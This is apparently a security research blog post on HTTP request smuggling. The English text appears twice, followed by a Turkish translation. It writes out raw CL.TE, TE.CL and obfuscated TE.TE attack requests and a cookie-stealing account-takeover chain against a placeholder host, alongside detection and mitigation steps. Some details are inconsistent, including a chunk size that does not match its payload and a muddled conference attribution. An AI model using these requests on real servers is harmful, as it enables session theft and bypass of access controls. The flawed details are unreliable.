HTTP Request Smuggling: Exploiting Front-End/Back-End Parsing Desync
Thu May 28 2026
Category: Security Research
Introduction: A Hidden Disagreement in HTTP/1.1
Nearly every modern web architecture is layered: a front-end CDN or reverse proxy (Nginx, HAProxy, Cloudflare) sitting in front of a back-end application server (Apache, Node.js, Gunicorn). Both share a single TCP connection and pipe HTTP requests between them via HTTP keep-alive.
A critical question sits between these layers: "Where does this request body end?"
HTTP/1.1 answers this with two different headers:
- Content-Length (CL): "The body is exactly N bytes long."
- Transfer-Encoding: chunked (TE): "The body comes in chunks; a zero-length chunk signals the end."
When both headers appear in one request, RFC 7230 says Transfer-Encoding takes priority. But not all servers honor this. That disagreement is the attack surface.
CL.TE Attack
The most common desync variant: front-end uses CL, back-end uses TE.
Front-end (CDN/Proxy): parses by Content-Length
Back-end (App Server): parses by Transfer-Encoding: chunked
Attack request:
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling-test
0
GET /admin HTTP/1.1
X-Ignore: x
Front-end view:
Content-Length = 49 → reads all 49 bytes → forwards to back-end. Security check? Path is "/" → passes.
Back-end view:
Uses Transfer-Encoding: chunked:
e(hex 14) → reads 14 bytes:q=smuggling-test\r\n0→ end of chunked body — request complete- Remaining:
GET /admin HTTP/1.1\r\nX-Ignore: x→ stays in TCP buffer
When the next user's request arrives, the back-end sees:
GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=victim_token_here
The victim's request is processed glued to the attacker's /admin prefix.
TE.CL Attack
The reverse direction: front-end uses TE, back-end uses CL.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end: Parses chunked → reads the "8"-byte chunk → reaches "0" (end) → forwards entire message to back-end.
Back-end: Uses Content-Length = 3 → reads only 3 bytes of the body (8\r\n) → the rest sits in the buffer: SMUGGLED\r\n0\r\n\r\n
This leftover data is prepended to the next arriving request.
TE.TE Attack: Obfuscation
If both servers support Transfer-Encoding, obfuscating the header can cause one to ignore it and fall back to CL:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x
A non-RFC-compliant server ignores these and falls back to CL. The other server recognizes chunked and uses TE. Result: desync.
Attack Chain: Account Takeover
Step-by-step to steal a victim's session token:
1. Send the trap request:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.com
Content-Length: 200
comment=
2. Victim's request is appended to the smuggled comment body:
The back-end treats the victim's Cookie: session=... header as a continuation of the comment= value. The comment is saved to the database.
3. Read the comment:
GET /comments HTTP/1.1
The victim's full HTTP headers (including Cookie) appear inside the comment content.
Detection with Burp Suite
1. Manual CL.TE timing probe:
import requests, time
# Baseline
t0 = time.time()
requests.post("http://target.com/", timeout=10)
baseline = time.time() - t0
# Probe with invalid final chunk — back-end waits for more data
# If response is delayed >8s, CL.TE desync likely exists
2. Burp Suite → HTTP Request Smuggler extension: Automatically tests CL.TE, TE.CL, TE.TE variants by measuring response time deltas.
Impact Summary
| Attack | Result |
|---|---|
| Request prefix injection | Steal victim Cookie/headers |
/admin path bypass |
Bypass firewall/ACL rules |
| Cache poisoning | Cache malicious response |
| Web cache deception | Cache user-specific pages |
| Reflected XSS amplification | Deliver XSS via smuggled response |
Mitigation
1. Strip the Transfer-Encoding header at the edge (if your CDN already handles chunked):
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Transfer-Encoding "";
2. Upgrade to HTTP/2: HTTP/2 uses binary framing — this form of request smuggling is not possible.
3. Reject conflicting headers: If a request contains both CL and TE headers, return 400 Bad Request before forwarding.
4. Normalize at each layer: Don't silently pass requests with ambiguous framing headers.
Conclusion
HTTP Request Smuggling exploits the trust that forms when two well-configured servers communicate with each other. An attacker with no direct access to the application can steal other users' sessions simply by sending one ambiguous request.
James Kettle's research, first presented at DEF CON 26, continues to find active vulnerabilities in major CDN providers and reverse proxies to this day.
Researcher: James Kettle / PortSwigger Research
First presented: DEF CON 26, Black Hat USA 2019
Reference: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
Introduction: A Hidden Disagreement in HTTP/1.1
Nearly every modern web architecture is layered: a front-end CDN or reverse proxy (Nginx, HAProxy, Cloudflare) sitting in front of a back-end application server (Apache, Node.js, Gunicorn). Both share a single TCP connection and pipe HTTP requests between them via HTTP keep-alive.
A critical question sits between these layers: "Where does this request body end?"
HTTP/1.1 answers this with two different headers:
- Content-Length (CL): "The body is exactly N bytes long."
- Transfer-Encoding: chunked (TE): "The body comes in chunks; a zero-length chunk signals the end."
When both headers appear in one request, RFC 7230 says Transfer-Encoding takes priority. But not all servers honor this. That disagreement is the attack surface.
CL.TE Attack
The most common desync variant: front-end uses CL, back-end uses TE.
Front-end (CDN/Proxy): parses by Content-Length
Back-end (App Server): parses by Transfer-Encoding: chunked
Attack request:
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling-test
0
GET /admin HTTP/1.1
X-Ignore: x
Front-end view:
Content-Length = 49 → reads all 49 bytes → forwards to back-end. Security check? Path is "/" → passes.
Back-end view:
Uses Transfer-Encoding: chunked:
e(hex 14) → reads 14 bytes:q=smuggling-test\r\n0→ end of chunked body — request complete- Remaining:
GET /admin HTTP/1.1\r\nX-Ignore: x→ stays in TCP buffer
When the next user's request arrives, the back-end sees:
GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=victim_token_here
The victim's request is processed glued to the attacker's /admin prefix.
TE.CL Attack
The reverse direction: front-end uses TE, back-end uses CL.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end: Parses chunked → reads the "8"-byte chunk → reaches "0" (end) → forwards entire message to back-end.
Back-end: Uses Content-Length = 3 → reads only 3 bytes of the body (8\r\n) → the rest sits in the buffer: SMUGGLED\r\n0\r\n\r\n
This leftover data is prepended to the next arriving request.
TE.TE Attack: Obfuscation
If both servers support Transfer-Encoding, obfuscating the header can cause one to ignore it and fall back to CL:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x
A non-RFC-compliant server ignores these and falls back to CL. The other server recognizes chunked and uses TE. Result: desync.
Attack Chain: Account Takeover
Step-by-step to steal a victim's session token:
1. Send the trap request:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.com
Content-Length: 200
comment=
2. Victim's request is appended to the smuggled comment body:
The back-end treats the victim's Cookie: session=... header as a continuation of the comment= value. The comment is saved to the database.
3. Read the comment:
GET /comments HTTP/1.1
The victim's full HTTP headers (including Cookie) appear inside the comment content.
Detection with Burp Suite
1. Manual CL.TE timing probe:
import requests, time
# Baseline
t0 = time.time()
requests.post("http://target.com/", timeout=10)
baseline = time.time() - t0
# Probe with invalid final chunk — back-end waits for more data
# If response is delayed >8s, CL.TE desync likely exists
2. Burp Suite → HTTP Request Smuggler extension: Automatically tests CL.TE, TE.CL, TE.TE variants by measuring response time deltas.
Impact Summary
| Attack | Result |
|---|---|
| Request prefix injection | Steal victim Cookie/headers |
/admin path bypass |
Bypass firewall/ACL rules |
| Cache poisoning | Cache malicious response |
| Web cache deception | Cache user-specific pages |
| Reflected XSS amplification | Deliver XSS via smuggled response |
Mitigation
1. Strip the Transfer-Encoding header at the edge (if your CDN already handles chunked):
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Transfer-Encoding "";
2. Upgrade to HTTP/2: HTTP/2 uses binary framing — this form of request smuggling is not possible.
3. Reject conflicting headers: If a request contains both CL and TE headers, return 400 Bad Request before forwarding.
4. Normalize at each layer: Don't silently pass requests with ambiguous framing headers.
Conclusion
HTTP Request Smuggling exploits the trust that forms when two well-configured servers communicate with each other. An attacker with no direct access to the application can steal other users' sessions simply by sending one ambiguous request.
James Kettle's research, first presented at DEF CON 26, continues to find active vulnerabilities in major CDN providers and reverse proxies to this day.
Researcher: James Kettle / PortSwigger Research
First presented: DEF CON 26, Black Hat USA 2019
Reference: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
Giriş: HTTP/1.1'de Saklı Bir Uyumsuzluk
Modern web mimarilerinin neredeyse tamamı katmanlıdır: önde bir CDN veya ters proxy (Nginx, HAProxy, Cloudflare), arkada bir uygulama sunucusu (Apache, Node.js, Gunicorn). Bu iki katman, aynı TCP bağlantısı üzerinden HTTP isteklerini birbirine iletir — bu mekanizma HTTP Connection: keep-alive ile mümkün olur.
Bu katmanlar arasında kritik bir soru vardır: "Bu isteğin gövdesi nerede bitiyor?"
HTTP/1.1 bu soruyu iki farklı başlıkla yanıtlar:
- Content-Length (CL): "Gövde tam olarak N byte uzunluğundadır."
- Transfer-Encoding: chunked (TE): "Gövde parçalar halinde gelecek; sıfır uzunluklu parça gelince biter."
Bir istekte her ikisi de varsa RFC 7230 şunu söyler: Transfer-Encoding önceliklidir. Ancak tüm sunucular bu kuralı uygulamaz. İşte bu uyumsuzluk saldırı yüzeyini oluşturur.
CL.TE Saldırısı
En yaygın desync türü: ön-uç CL kullanır, arka-uç TE kullanır.
Savunmasız senaryo:
Front-end (CDN/Proxy): Content-Length'e göre parse eder
Back-end (App Server): Transfer-Encoding: chunked'a göre parse eder
Saldırı isteği:
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling-test
0
GET /admin HTTP/1.1
X-Ignore: x
Ön-uç perspektifi:
Content-Length = 49 → tüm gövdeyi (49 byte) okur → arka-uca iletir. Güvenlik kontrolleri? Yol "/" → sorun yok.
Arka-uç perspektifi:
Transfer-Encoding: chunked kullanır:
e(14) → 14 byte okur:q=smuggling-test\r\n0→ chunked gövde bitti, istek tamamlandı- Kalan:
GET /admin HTTP/1.1\r\nX-Ignore: x→ TCP buffer'da bekler
Bir sonraki kullanıcının isteği geldiğinde, arka-uç onu şöyle görür:
GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=kurban_token_buraya
Kurbanın isteği, saldırganın /admin prefix'ine "yapıştırılmış" halde işlenir.
TE.CL Saldırısı
Diğer yön: ön-uç TE kullanır, arka-uç CL kullanır.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Ön-uç: Chunked parse eder → "8" byte chunk okur → "0" ile biter → tüm mesajı arka-uca iletir.
Arka-uç: Content-Length = 3 kullanır → ilk 3 byte'ı gövde olarak alır (8\r\n) → gerisi buffer'da kalır: SMUGGLED\r\n0\r\n\r\n
Bu kalan veri, bir sonraki isteğin başına eklenir.
TE.TE Saldırısı: Obfuscation Yoluyla
Her iki sunucu da Transfer-Encoding'i destekliyorsa, encoding'i gizleyerek birinin atlasını sağlamak mümkündür:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x
RFC'ye uygun olmayan bir sunucu bu başlıkları görmezden gelir ve CL'ye düşer. Diğer sunucu chunked'ı tanır ve TE'yi kullanır. Sonuç: yine desync.
Saldırı Zinciri: Hesap Ele Geçirme
Adım adım kurban session token'ını çalmak:
1. Tuzak isteği gönder:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.com
Content-Length: 200
comment=
2. Kurbanın isteği smug edilmiş yorum gövdesine eklenir:
Arka-uç, kurbanın Cookie: session=... başlığını comment= değerinin devamı olarak işler. Yorum veritabanına kaydedilir.
3. Yorumu oku:
GET /comments HTTP/1.1
Kurbanın tüm HTTP başlıkları (Cookie dahil) yorum içeriğinde görünür.
Tespit: Burp Suite ile
1. Burp Suite → Proxy → HTTP Smuggler extension
2. Manuel CL.TE testi:
import requests
# Zaman farkı testi: normal istek ile karşılaştır
normal_time = requests.post("http://target.com/", timeout=10).elapsed.total_seconds()
# CL.TE probe — yanlış chunk size ile 10 saniyelik gecikme beklenir
payload = "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX"
probe_time = # ... gönder ve süreyi ölç
if probe_time > normal_time + 8:
print("[!] CL.TE desync muhtemelen mevcut!")
3. HTTP Request Smuggler (Burp extension): Otomatik olarak CL.TE, TE.CL, TE.TE varyantlarını dener ve zaman farklarını ölçer.
Etki Alanları
| Saldırı | Sonuç |
|---|---|
| Request prefix injection | Kurbanın cookie/header'larını çal |
/admin bypass |
Güvenlik duvarı kurallarını atla |
| Cache poisoning | Zararlı yanıtı önbelleğe al |
| Web cache deception | Kişisel sayfaları önbelleğe aldır |
| Reflected XSS amplification | Smuggle ile XSS yayılımı |
Önlem
1. Back-end'de Transfer-Encoding başlığını devre dışı bırakın (eğer CDN zaten handle ediyorsa):
proxy_http_version 1.1;
proxy_set_header Connection "";
# TE başlığını temizle:
proxy_set_header Transfer-Encoding "";
2. HTTP/2 kullanın: HTTP/2'de request smuggling bu formda mümkün değildir (binary framing).
3. Normalize edin: Back-end'e iletmeden önce hem CL hem TE varsa isteği reddedin.
4. CDN/Proxy'yi güvenilir ayarlarla yapılandırın: Çelişen başlıkları sessizce geçirmeyin.
Sonuç
HTTP Request Smuggling, iki güvenilir sunucunun birbiriyle konuşurken oluşan güvenden doğar. Saldırganın hedef uygulamaya doğrudan erişimi olmaksızın, yalnızca bir "garip" istek göndererek başka kullanıcıların oturumlarını çalabilmesi — bu tekniğin ne kadar güçlü ve sinsi olduğunu gösterir.
James Kettle'ın DEF CON 26'da sunduğu bu araştırma, bugün hâlâ birçok büyük CDN ve proxy'de aktif güvenlik açıkları bulmaya devam etmektedir.
Araştırmacı: James Kettle / PortSwigger Research
İlk Sunum: DEF CON 26, Black Hat USA 2019
Referans: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn